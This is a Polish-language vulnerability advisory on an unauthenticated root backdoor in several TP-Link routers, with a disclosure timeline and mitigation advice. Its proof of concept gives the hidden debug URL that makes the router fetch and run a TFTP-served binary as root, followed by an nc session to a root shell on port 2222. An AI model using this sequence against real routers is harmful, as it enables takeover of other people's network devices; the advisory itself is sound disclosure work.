Nowa dziura na urządzeniach TP-Link

O urządzeniu

TP-Link TL-WDR4300 to router klasy SOHO. Umożliwia m.in. dwuzakresową pracę w trybie WiFi, posiada 2 porty USB i jeszcze kilka innych przydatnych funkcjonalności. Poza tym… umożliwia zdalne i nieuwierzytelnione uzyskanie uprawnień administracyjnych (root) w systemie operacyjnym, na którym działa urządzenie.

1. Testowany firmware

W trakcie testów na urządzeniu TL-WDR4300 używałem najnowszego firmware’u z 25.12.2012r. Na tym firmware nie działa odkryty w 2012r. backdoor w TP-Linkach, opisany tutaj.

Jak się też okazuje, na opisywany dalej błąd podatne są również inne modele. Zachęcamy do sprawdzenia i zgłaszania do nas swoich podatnych TP-Linków – zgodnie z instrukcją poniżej.

firmware TL-WDR4300

2. Proof of Concept

root@secu:~# ls -l /srv/tftp/nart.out
-rw-r--r-- 1 root root 871604 Mar 11 18:23 /srv/tftp/nart.out
root@secu:~# nc 192.168.0.1 2222
(UNKNOWN) [192.168.0.1] 2222 (?) : Connection refused
root@secu:~# wget http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html                                                            
--2013-03-09 23:22:31--  http://192.168.0.1/userRpmNatDebugRpm26525557/start_art.html
Connecting to 192.168.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: "start_art.html"

    [ <=>                                   ] 426         --.-K/s   in 0s

2013-03-09 23:22:33 (49.1 MB/s) - "start_art.html" saved [426]

root@secu:~# nc 192.168.0.1 2222
ps
  PID  Uid     VmSize Stat Command
    1 root        404 S   init
    2 root            SW< [kthreadd]
    3 root            SW< [ksoftirqd/0]
    4 root            SW< [events/0]
    5 root            SW< [khelper]
    6 root            SW< [async/mgr]
    7 root            SW< [kblockd/0]
    8 root            SW  [pdflush]
    9 root            SW  [pdflush]
   10 root            SW< [kswapd0]
   17 root            SW< [mtdblockd]
   18 root            SW< [unlzma/0]
   71 root       2768 S   /usr/bin/httpd
   76 root        380 S   /sbin/getty ttyS0 115200
   78 root        208 S   ipcserver
   82 root       2768 S   /usr/bin/httpd
   83 root       2768 S   /usr/bin/httpd
   86 root        732 S   ushare -d -x -f /tmp/ushare.conf
   92 root        348 S   syslogd -C -l 7
   96 root        292 S   klogd
  101 root            SW< [napt_ct_scan]
  246 root        348 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u
  247 root        204 S   /sbin/udhcpc -h TL-WDR4300 -i eth0.2 -p /tmp/wr841n/u
  251 root        364 S   /usr/sbin/udhcpd /tmp/wr841n/udhcpd.conf
  286 root       2768 S   /usr/bin/httpd
  299 root       2768 S   /usr/bin/httpd
  300 root       2768 S   /usr/bin/httpd
  305 root       2768 S   /usr/bin/httpd
  307 root       2768 S   /usr/bin/httpd
  309 root       2768 S   /usr/bin/httpd
  310 root       2768 S   /usr/bin/httpd
  389 root       2768 S   /usr/bin/httpd

3. Czy jestem podatny?

Aby sprawdzić czy nasze urządzenie jest podatne, należy w przeglądarce użyć URL-a (nie wymagane jest podawanie użytkownika/hasła):

W tym momencie urządzenie na chwilę przestanie odpowiadać, a następnie pojawi się komunikat w przeglądarce:

Jeśli widzimy komunikat tego typu (może to być również inne sformułowanie zawierające słowo „art”, np.: „Art download failed” – patrz niżej), to takie urządzenie jest najprawdopodobniej podatne na atak.

W międzyczasie router spróbuje pobrać z naszego komputera (poprzez tftp) plik nart.out, a następnie uruchomi go z uprawnieniami root.

Pobieranie możemy prześledzić np. z wykorzystaniem narzędzia wireshark uruchomionego na komputerze. W tym celu wybieramy opcję Capture -> Interfaces, a następnie interface sieciowy, którym jesteśmy podłączeniu do routera. Po uruchomieniu nasłuchu możemy jeszcze przefiltrować ruch, korzystając z filtra: tftp and !icmp:

Filtr w wireshark

Samą próbę pobrania pliku widać na poniższym zrzucie ekranowym:

Pobieranie nart.out przez router – protokołem tftp

Poniżej, cała procedura krok po kroku (krok pierwszy realizujemy z przeglądarki, pozostałe kroki przebiegają automatycznie):

Proof of concept – krok po kroku

Inne modele

Również inne modele routerów są podatne. Poniżej prezentuję dwa kolejne urządzenia, które udało mi się przetestować. Czytelników zachęcamy do testów (oczywiście swoich routerów) i przesyłania do nas kolejnych wyników.

1. TL-WR743ND v1.2

Na przykładzie poniżej widać, że tym razem nazwa pliku to nie nart.out, a mdk_client.out – jednak zasada działania jest podobna (poniżej jako PoC wykonanie polecenia ping na routerze).

2. TL-WR743ND v2

3. TL-WR740N (info by: rf)

4. WR740N v4 (info by Morris)

Jak się obronić?

Niestety na dziś (12.03.2013r.) nie ma dostępnych aktualizacji firmware, zalecamy przede wszystkim nieudostępnianie interface’u webowego routerów do Internetu.

Dobrym pomysłem jest zainstalowanie na urządzeniu nieoficjalnego firmware-u  (np. Open-WRT – model TL-WDR4300 jest wspierany), choć wymaga to większej wiedzy oraz przy braku odpowiedniej ostrożności przy wgrywaniu firmware-u istnieje możliwość trwałego uszkodzenia sprzętu.

Historia zgłoszenia błędu

12.02.2013 – przesłana informacja do TP-Link … brak odpowiedzi
22.02.2013 – kolejne przesłanie informacji do TP-Link … brak odpowiedzi
12.03.2013 – publikacja szczegółów na sekurak.pl

Więcej informacji

http://sekurak.pl/luka-w-tp-linkach-wiecej-szczegolow/

Podziękowania

• dostarczenie sprzętu do testów – WDR4300 – Mateusz Olejarka :]
• rf – zgłoszenie TL-WR740N jako podatnego
• Morris – zgłoszenie WR740N v4 jako podatnego

— Michał Sajdak <michal.sajdak<at>securitum.pl>